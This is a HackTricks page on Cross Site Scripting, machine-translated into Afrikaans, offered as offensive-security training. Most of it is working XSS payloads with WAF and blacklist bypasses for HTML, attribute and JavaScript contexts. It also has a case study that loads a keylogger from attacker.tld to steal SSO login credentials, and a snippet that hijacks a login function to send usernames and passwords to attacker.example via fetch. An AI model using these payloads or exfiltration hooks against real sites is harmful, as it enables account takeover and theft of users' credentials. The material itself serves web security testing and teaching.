%.*s
XSS (Cross Site Scripting)
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Metodologie
- Kontroleer of enige waarde wat jy beheer (parameters, path, headers?, cookies?) in die HTML weerkaats of deur JS-kode gebruik word.
- Vind die konteks waar dit weerkaats/gebruik word.
- As dit weerkaats:
- Kontroleer watter simbole jy kan gebruik en, afhangend daarvan, berei die payload voor:
- In raw HTML:
- Kan jy nuwe HTML-tags skep?
- Kan jy events of attributes gebruik wat die
javascript:protokol ondersteun? - Kan jy beskermings omseil?
- Word die HTML-inhoud geïnterpreteer deur enige client-side JS engine (AngularJS, VueJS, Mavo…), wat jy kan misbruik met Client Side Template Injection.
- As jy nie HTML-tags kan skep wat JS-kode uitvoer nie, kan jy dalk
Dangling Markup - HTML scriptless injectionmisbruik: Dangling Markup - HTML scriptless injection? - Binne ’n HTML tag:
- Kan jy uitspring na raw HTML-konteks?
- Kan jy nuwe events/attributes skep om JS-kode uit te voer?
- Ondersteun die attribuut waarin jy vasgevang is JS-uitvoering?
- Kan jy beskermings omseil?
- Binne JavaScript kode:
- Kan jy uit die
<script>-tag ontsnap? - Kan jy uit die string ontsnap en ander JS-kode uitvoer?
- Is jou invoer in template literals ``?
- Kan jy beskermings omseil?
- JavaScript funksie wat uitgevoer word
- Jy kan die naam van die funksie aandui om uit te voer. bv.:
?callback=alert(1) - As dit gebruik word:
- Jy kan ’n DOM XSS uitbuit; let daarop hoe jou invoer beheer word en of jou gekontroleerde invoer deur enige sink gebruik word.
Wanneer jy aan ’n komplekse XSS werk, mag dit interessant wees om te weet van:
Weerkaatste waardes
Om suksesvol ’n XSS te benut moet jy eers ’n waarde wat deur jou beheer word en wat in die webblad weerkaats word vind.
- Intermittent weerkaats: As jy sien dat die waarde van ’n parameter of selfs die path in die webblad weerkaats word, kan jy ’n Reflected XSS uitbuit.
- Gestoor en weerkaats: As jy vind dat ’n waarde wat jy beheer op die bediener gestoor word en elke keer wanneer ’n bladsy geraak word weerkaats word, kan jy ’n Stored XSS uitbuit.
- Toeganklik via JS: As ’n waarde wat jy beheer deur JS aangespreek word, kan jy ’n DOM XSS uitbuit.
Kontekste
Wanneer jy probeer om ’n XSS uit te buit, is die eerste ding wat jy moet weet waar jou invoer weerkaats word. Afhangend van die konteks, kan jy arbitraire JS-kode op verskillende maniere uitvoer.
Raw HTML
As jou invoer op die raw HTML bladsy weerkaats word, moet jy ’n HTML tag misbruik om JS-kode uit te voer: <img , <iframe , <svg , <script … dit is net ’n paar van die baie moontlike HTML-tags wat jy kan gebruik.
Hou ook in gedagte Client Side Template Injection.
Inside HTML tags attribute
As jou invoer binne die waarde van ’n attribuut van ’n tag weerkaats word, kan jy probeer:
- Om uit die attribuut en uit die tag te ontsnap (dan is jy in raw HTML) en ’n nuwe HTML-tag te skep om te misbruik:
"><img [...] - As jy uit die attribuut kan ontsnap maar nie uit die tag nie (
>is geënkodeer of verwyder), kan jy, afhangend van die tag, ’n event skep wat JS-kode uitvoer:" autofocus onfocus=alert(1) x=" - As jy nie uit die attribuut kan ontsnap nie (
"word geënkodeer of verwyder), dan, afhangend van in watter attribuut jou waarde weerkaats word en of jy die hele waarde of net ’n deel daarvan beheer, sal jy dit kan misbruik. Byvoorbeeld, as jy ’n event soosonclick=beheer, kan jy dit laat uitvoer wanneer dit geklik word. ’n Ander interessante voorbeeld is die attribuuthref, waar jy diejavascript:-protokol kan gebruik om arbitraire kode uit te voer:href="javascript:alert(1)" - As jou invoer binne “onbruikbare tags” weerkaats word, kan jy die
accesskey-truuk probeer om die vuln te misbruik (jy sal ’n vorm van sociale ingenieurswese nodig hê om dit te aktiveer):" accesskey="x" onclick="alert(1)" x="
Attribute-only login XSS behind WAFs
’n Korporatiewe SSO login-bladsy het die OAuth service parameter binne die href attribuut van <a id="forgot_btn" ...> weerkaats. Al het < en > HTML-geënkodeer gelyk, was dubbel-aanhalingstekens nie, so die aanvaller kon die attribuut sluit en dieselfde element hergebruik om handlers in te voeg soos " onfocus="payload" x=".
- Inject die handler: Eenvoudige payloads soos
onclick="print(1)"is geblokkeer, maar die WAF het slegs die eerste JavaScript-stelling in inline-attributes ondersoek. Deur ’n skadelose uitdrukking in hakies voor te sit, gevolg deur ’n puntkomma, het die werklike payload uitgevoer:onfocus="(history.length);malicious_code_here". - Trigger dit outomaties: Browsers fokus enige element wie se
idmet die fragment ooreenstem, so deur#forgot_btnby die exploit-URL te voeg, dwing jy die anchor om by bladsylaai te fokus en die handler te laat loop sonder ’n klik. - Hou die inline stub klein: Die teiken het reeds jQuery. Die handler moes net ’n versoek bootstrap via
$.getScript(...)terwyl die volle keylogger op die aanvaller se bediener gehuisves is.
Building strings without quotes
Single quotes is as URL-geënkodeer teruggestuur en ontsnapte dubbel-aanhalingstekens het die attribuut beskadig, so die payload het elke string met String.fromCharCode gegenereer. ’n Hulpfunksie maak dit maklik om enige URL in char-kodes om te sit voordat jy dit in die attribuut plak:
function toCharCodes(str){
return `const url = String.fromCharCode(${[...str].map(c => c.charCodeAt(0)).join(',')});`
}
console.log(toCharCodes('https://attacker.tld/keylogger.js'))
Die resulterende attribuut het soos volg gelyk:
onfocus="(history.length);const url=String.fromCharCode(104,116,116,112,115,58,47,47,97,116,116,97,99,107,101,114,46,116,108,100,47,107,101,121,108,111,103,103,101,114,46,106,115);$.getScript(url),function(){}"
Waarom dit inlogbewyse steel
Die eksterne script (gelaai vanaf ’n aanvaller-beheerde host of Burp Collaborator) het document.onkeypress gehook, toetsaanslae gebuffer, en elke sekonde new Image().src = collaborator_url + keys gestel. Omdat die XSS slegs afgevuur word vir nie-geauthentiseerde gebruikers, is die sensitiewe aksie die inlogvorm self — die aanvaller keylogs gebruikersname en wagwoorde selfs al druk die slagoffer nooit “Login” nie.
Vreemde voorbeeld van Angular wat XSS uitvoer as jy ’n class name beheer:
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
Binne JavaScript code
In hierdie geval word jou insetsel weerspieël tussen <script> [...] </script> tags van ’n HTML-bladsy, binne ’n .js lêer of binne ’n attribuut wat die javascript: protokol gebruik:
- As dit weerspieël word tussen
<script> [...] </script>tags, selfs as jou insetsel binne enige soort aanhalingstekens is, kan jy probeer om</script>in te voeg en uit hierdie konteks te ontsnap. Dit werk omdat die browser eers die HTML-tags sal ontleed en daarna die inhoud, daarom sal dit nie opmerk dat jou ingevoegde</script>tag binne die HTML code is nie. - As dit weerspieël word binne ’n JS-string en die laaste truuk werk nie, sal jy die string moet verlaat, jou kode uitvoer en die JS-kode herkonstrueer (as daar enige fout is, sal dit nie uitgevoer word:
'-alert(1)-'';-alert(1)//\';alert(1)//- As dit weerspieël word binne template literals kan jy JS-uitdrukkings insluit deur
${ ... }sintaksis te gebruik:var greetings = `Hello, ${alert(1)}` - Unicode encode werk om geldige javascript code te skryf:
alert(1)
alert(1)
alert(1)
Javascript Hoisting
Javascript Hoisting verwys na die moontlikheid om funksies, veranderlikes of klasse te verklaar nadat dit gebruik is, sodat jy scenario’s kan misbruik waar ’n XSS onverklaarde veranderlikes of funksies gebruik.
Kyk na die volgende bladsy vir meer inligting:
Javascript Funksie
Verskeie webblaaie het endpoints wat as parameter die naam van die funksie aanvaar om uit te voer. ’n algemene voorbeeld wat jy in die wild sal sien, is iets soos: ?callback=callbackFunc.
’n Goeie manier om uit te vind of iets wat direk deur die gebruiker gegee word probeer uitgevoer word, is deur die param-waarde te wysig (byvoorbeeld na ‘Vulnerable’) en in die console te kyk vir foute soos:
.png)
Indien dit kwesbaar is, kan jy moontlik ’n alert aktiveer net deur die volgende waarde te stuur: ?callback=alert(1). Dit is egter baie algemeen dat hierdie endpoints die inhoud sal valideer om slegs letters, nommers, punte en underscores toe te laat ([\w\._]).
Selfs met daardie beperking is dit steeds moontlik om sekere aksies uit te voer. Dit is omdat jy daardie geldige tekens kan gebruik om toegang tot enige element in die DOM te kry:
.png)
Sommige nuttige funksies hiervoor:
firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement
Jy kan ook probeer om Javascript-funksies direk te trigger: obj.sales.delOrders.
Dit is egter gewoonlik so dat die endpoints wat die aangeduide funksie uitvoer endpoints is sonder ’n baie interessante DOM; ander bladsye in dieselfde oorsprong sal ’n meer interessante DOM hê om meer aksies uit te voer.
Daarom, om hierdie kwesbaarheid in ’n ander DOM te misbruik, is die Same Origin Method Execution (SOME) uitbuiting ontwikkel:
SOME - Same Origin Method Execution
DOM
Daar is JS code wat onveilig sekere data wat deur ’n aanvaller beheer word gebruik, soos location.href. ’n Aanvaller kan dit misbruik om arbitrêre JS-kode uit te voer.
Universal XSS
Hierdie tipe XSS kan oral gevind word. Hulle is nie net afhanklik van die client-eksploitering van ’n webtoepassing nie, maar van enige konteks. Hierdie soort arbitrêre JavaScript-uitvoering kan selfs misbruik word om RCE te verkry, arbitrêre lêers op kliënte en bedieners te lees, en meer.
Sommige voorbeelde:
WAF bypass encoding image
.jpg)
Injecting inside raw HTML
Wanneer jou insette weerspieël word binne die HTML page of jy kan ontsnap en HTML-kode in hierdie konteks injekteer, is die eerstes ding wat jy moet doen om te kyk of jy < kan misbruik om nuwe tags te skep: Probeer net daardie karakter te weerspieël en kyk of dit HTML-geënkodeer of verwyder word of of dit weerspieël word sonder veranderings. Slegs in die laaste geval sal jy hierdie geval kan uitbuit.
Vir hierdie gevalle, hou ook in gedagte Client Side Template Injection.
Nota: ’n HTML-opmerking kan gesluit word deur --> of --!> te gebruik
In hierdie geval, en as geen swart-/witlysing gebruik word nie, kan jy payloads soos:
<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>
Maar, as tag-/attribuut swart-/witlys gebruik word, sal jy moet brute-force watter tags jy kan skep.
Sodra jy gevind het watter tags toegelaat word, sal jy die attribuutte/events binne die gevonde geldige tags moet brute-force om te sien hoe jy die konteks kan aanval.
Tags/Events brute-force
Gaan na https://portswigger.net/web-security/cross-site-scripting/cheat-sheet en klik op Copy tags to clipboard. Daarna stuur jy almal met Burp intruder en kyk of enige tags nie as kwaadwillig deur die WAF ontdek is nie. Sodra jy ontdek het watter tags jy kan gebruik, kan jy brute-force alle events met die geldige tags (op dieselfde webblad klik op Copy events to clipboard en volg dieselfde prosedure as voorheen).
Pasgemaakte tags
Indien jy geen geldige HTML tag gevind het nie, kan jy probeer om ’n pasgemaakte tag te skep en JS-kode met die onfocus attribuut uit te voer. In die XSS-versoek moet jy die URL beëindig met # om die bladsy op daardie objek te laat fokus en die kode uit te voer:
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
Blacklist Bypasses
As ’n soort blacklist gebruik word, kan jy probeer om dit te bypass met ’n paar dom truuks:
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG
//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>
//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09
//Unexpected parent tags
<svg><x><script>alert('1')</x>
//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>
//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //
//Extra open
<<script>alert("XSS");//<</script>
//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">
//Using `` instead of parenthesis
onerror=alert`1`
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
Length bypass (small XSSs)
[!NOTE] > Meer tiny XSS payloads vir verskillende omgewings is hier beskikbaar en hier.
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
Die laaste een gebruik 2 Unicode-karakters wat uitbrei tot 5: telsr
Meer van hierdie karakters kan gevind word here.
Om te sien in watter karakters dit gedeïkomponeer word, kyk here.
Click XSS - Clickjacking
As jy, om die kwesbaarheid uit te buit, die gebruiker nodig het om op ’n skakel of ’n vorm te klik met vooraf ingevulde data, kan jy probeer abuse Clickjacking (indien die bladsy kwesbaar is).
Impossible - Dangling Markup
As jy net dink dat dit onmoontlik is om ’n HTML tag met ’n attribuut te skep wat JS-kode uitvoer, moet jy {#ref}../dangling-markup-html-scriptless-injection/index.html{#endref} omdat jy die kwesbaarheid kan uitbuit sonder om JS-kode uit te voer.
Invoeg binne HTML-tag
Binne die tag/ontsnap uit die attribuutwaarde
As jy binne ’n HTML-tag is, is die eerste ding wat jy kan probeer om uit die tag te escape en sommige van die tegnieke genoem in die previous section te gebruik om JS-kode uit te voer.
As jy nie uit die tag kan escape nie, kan jy nuwe attribuutte binne die tag skep om te probeer JS-kode uit te voer, byvoorbeeld met ’n payload soos (let wel dat in hierdie voorbeeld dubbele aanhalingstekens gebruik word om uit die attribuut te escape; jy sal dit nie nodig hê as jou inset direk binne die tag weerspieël word nie):
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
Stylgebeurtenisse
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
Binne die attribuut
Selfs al kan jy nie uit die attribuut ontsnap nie (" word gekodeer of uitgevee), afhangend van in watter attribuut jou waarde weerspieël word en of jy die hele waarde of net ’n deel daarvan beheer, sal jy dit kan misbruik. Byvoorbeeld, as jy ’n event soos onclick= beheer, kan jy dit laat uitvoer van ewekansige kode wanneer dit geklik word.
Nog ’n interessante voorbeeld is die attribuut href, waar jy die javascript:-protokol kan gebruik om ewekansige kode uit te voer: href="javascript:alert(1)"
Bypass inside event using HTML encoding/URL encode
Die HTML-gekodeerde karakters binne die waarde van HTML-tag-attribuutte word tydens runtime gedekodeer. Daarom sal iets soos die volgende geldig wees (die payload is vetgedruk): <a id="author" href="http://none" onclick="var tracker='http://foo?'-alert(1)-'';">Go Back </a>
Let wel dat elke soort HTML-enkoding geldig is:
//HTML entities
'-alert(1)-'
//HTML hex without zeros
'-alert(1)-'
//HTML hex with zeros
'-alert(1)-'
//HTML dec without zeros
'-alert(1)-'
//HTML dec with zeros
'-alert(1)-'
<a href="javascript:var a=''-alert(1)-''">a</a>
<a href="javascript:alert(2)">a</a>
<a href="javascript:alert(3)">a</a>
Let daarop dat URL encode ook sal werk:
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
Bypass binne gebeurtenis deur Unicode encode
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
Spesiale protokolle binne die attribuut
Daar kan jy die protokolle javascript: of data: op sekere plekke gebruik om willekeurige JS-kode uit te voer. Sommiges sal gebruikersinteraksie vereis; ander sal dit nie doen nie.
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
java //Note the new line
script:alert(1)
data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
Plekke waar jy hierdie protokolle kan invoeg
In die algemeen kan die javascript:-protokol in enige tag gebruik word wat die attribuut href aanvaar en in die meeste van die tags wat die attribuut src aanvaar (maar nie <img nie)
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>
<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>
//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">
Ander obfuskeringstrieke
In hierdie geval is die HTML- en Unicode-koderingstrieke uit die vorige afdeling ook geldig aangesien jy binne ’n attribuut is.
<a href="javascript:var a=''-alert(1)-''">
Boonop is daar nog ’n nuttige truuk vir hierdie gevalle: Selfs al word jou invoer binne javascript:... URL encoded, sal dit URL decoded word voordat dit uitgevoer word. As jy dus van die string moet escape met ’n single quote en jy sien dat dit URL encoded word, onthou dat dit nie saak maak nie, dit sal tydens die execution as ’n single quote geïnterpreteer word.
'-alert(1)-'
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
Let daarop dat as jy probeer om beide te gebruik URLencode + HTMLencode in enige volgorde om die payload te enkodeer, sal dit nie werk nie, maar jy kan hulle binne die payload meng.
Gebruik Hex and Octal encode met javascript:
Jy kan Hex en Octal encode binne die src-attribuut van iframe (ten minste) gebruik om HTML-tags te skep wat JS uitvoer:
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />
//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
Reverse tab nabbing
<a target="_blank" rel="opener"
If you can inject any URL in an arbitrary <a href= tag that contains the target="_blank" and rel="opener" attributes, check the volgende bladsy om hierdie gedrag te exploit:
on Event Handlers Bypass
Eerstens, kyk na hierdie bladsy (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) vir nuttige “on” event handlers.\ Indien daar ’n blacklist is wat jou verhinder om hierdie event handlers te skep, kan jy die volgende bypasses probeer:
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>
//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
XSS in “Onuitbuitbare tags” (hidden input, link, canonical, meta)
Vanaf here is dit nou moontlik om hidden inputs te misbruik met:
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
En in meta tags:
<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
From here: Jy kan ’n XSS payload inside a hidden attribute uitvoer, mits jy die victim kan oortuig om die sleutelkombinasie te druk. Op Firefox Windows/Linux is die sleutelkombinasie ALT+SHIFT+X en op OS X is dit CTRL+ALT+X. Jy kan ’n ander sleutelkombinasie spesifiseer deur ’n ander sleutel in die access key attribute te gebruik. Hier is die vector:
<input type="hidden" accesskey="X" onclick="alert(1)">
Die XSS payload sal ongeveer soos volg wees: " accesskey="x" onclick="alert(1)" x="
Blacklist Bypasses
Verskeie truuks wat verskillende kodering gebruik is reeds in hierdie afdeling blootgelê. Gaan terug om te leer waar jy dit kan gebruik:
- HTML encoding (HTML tags)
- Unicode encoding (can be valid JS code):
\u0061lert(1) - URL encoding
- Hex and Octal encoding
- data encoding
Bypasses for HTML tags and attributes
Lees die Blacklist Bypasses of the previous section.
Bypasses for JavaScript code
Lees die JavaScript bypass blacklist of the following section.
CSS-Gadgets
As jy ’n XSS in ’n baie klein deel van die web gevind het wat ’n soort interaksie vereis (miskien ’n klein skakel in die voetskrif met ’n onmouseover element), kan jy probeer om die ruimte wat daardie element beset te verander om die waarskynlikheid te maksimeer dat die skakel geaktiveer word.
Byvoorbeeld, jy kan styling by die element voeg soos: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5
Maar, as die WAF die style attribuut filter, kan jy CSS Styling Gadgets gebruik, so as jy byvoorbeeld vind
.test {display:block; color: blue; width: 100%}
en
#someid {top: 0; font-family: Tahoma;}
Nou kan jy ons skakel wysig en dit in die vorm bring
<a href=“” id=someid class=test onclick=alert() a=“”>
Hierdie truuk is geneem van https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703
Injecting inside JavaScript code
In hierdie geval sal jou input weerspieël word binne die JS code van ’n .js file of tussen <script>...</script> tags of tussen HTML events wat JS code kan uitvoer of tussen attribuutte wat die javascript: protokol aanvaar.
Escaping <script> tag
As jou kode ingevoeg is binne <script> [...] var input = 'reflected data' [...] </script> kan jy maklik die sluiting van die <script>-tag ontsnap:
</script><img src=1 onerror=alert(document.domain)>
Let wel dat ons in hierdie voorbeeld nie eers die enkele aanhalingsteken gesluit het nie. Dit is omdat HTML parsing eers deur die blaaier uitgevoer word, wat behels dat bladsy-elemente geïdentifiseer word, insluitend script-blocks. Die parsing van JavaScript om die ingeslote scripts te verstaan en uit te voer, gebeur eers daarna.
Binne JS code
Indien <> gesaniteer word, kan jy steeds die string ontsnap waar jou invoer geleë is en arbitrêre JS uitvoer. Dit is belangrik om regstel JS-sintaksis, want as daar foute is, sal die JS code nie uitgevoer word nie:
'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//
JS-in-JS string break → inject → repair pattern
Wanneer gebruikersinvoer binne ’n quoted JavaScript string beland (bv. server-side echo in ’n inline script), kan jy die string beëindig, inject code, en die syntax herstel om parsing geldig te hou. Generic skeleton:
" // end original string
; // safely terminate the statement
<INJECTION> // attacker-controlled JS
; a = " // repair and resume expected string/statement
Voorbeeld van ’n URL-patroon wanneer die kwesbare parameter in ’n JS-string weerspieël word:
?param=test";<INJECTION>;a="
Dit voer attacker JS uit sonder om die HTML-konteks te hoef te raak (suiwer JS-in-JS). Kombineer dit met blacklist bypasses hieronder wanneer filters sleutelwoorde blokkeer.
Template literals ``
Om strings te konstrueer, behalwe enkell- en dubbel-aanhalingstekens, aanvaar JS ook backticks ``. Dit staan bekend as template literals aangesien hulle toelaat om embedded JS expressions met die ${ ... } sintaksis te gebruik.
Daarom, as jy vind dat jou invoer binne ’n JS string wat backticks gebruik reflected is, kan jy die ${ ... } sintaks misbruik om arbitrary JS code uit te voer:
Dit kan abused gebruik:
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``
Gekodeerde kode-uitvoering
<script>\u0061lert(1)</script>
<svg><script>alert('1')
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
Aflewerbare payloads met eval(atob()) en nuanses van omvang
Om URLs korter te hou en naïewe sleutelwoordfilters te omseil, kan jy jou werklike logika base64-encode en dit evalueer met eval(atob('...')). As eenvoudige sleutelwoordfiltering identifiseerders soos alert, eval, of atob blokkeer, gebruik Unicode-gescapeerde identifiseerders wat presies dieselfde in die blaaier kompileer maar teks-ooreenstemmingsfilters omseil:
\u0061\u006C\u0065\u0072\u0074(1) // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64')) // eval(atob('...'))
Belangrike skopnuanses: const/let wat binne eval() verklaar word, is tot die blok beperk en skep NIE globals nie; hulle sal nie vir later skripte toeganklik wees nie. Gebruik ’n dinamies ingevoegde <script>-element om global, non-rebindable hooks te definieer wanneer nodig (bv. om ’n form handler te hijack):
var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);
Verwysing: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
Unicode Encode JS uitvoering
alert(1)
alert(1)
alert(1)
JavaScript bypass blacklists tegnieke
Strings
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))
Spesiale ontsnappings
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself
Spasievervangings binne JS code
<TAB>
/**/
JavaScript opmerkings (van JavaScript Comments truuk)
//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
JavaScript nuwe reëls (van JavaScript new line truuk)
//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9
JavaScript spasies
log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert(1)>
Javascript binne ’n kommentaar
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
JavaScript sonder hakies
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name
// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`
// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
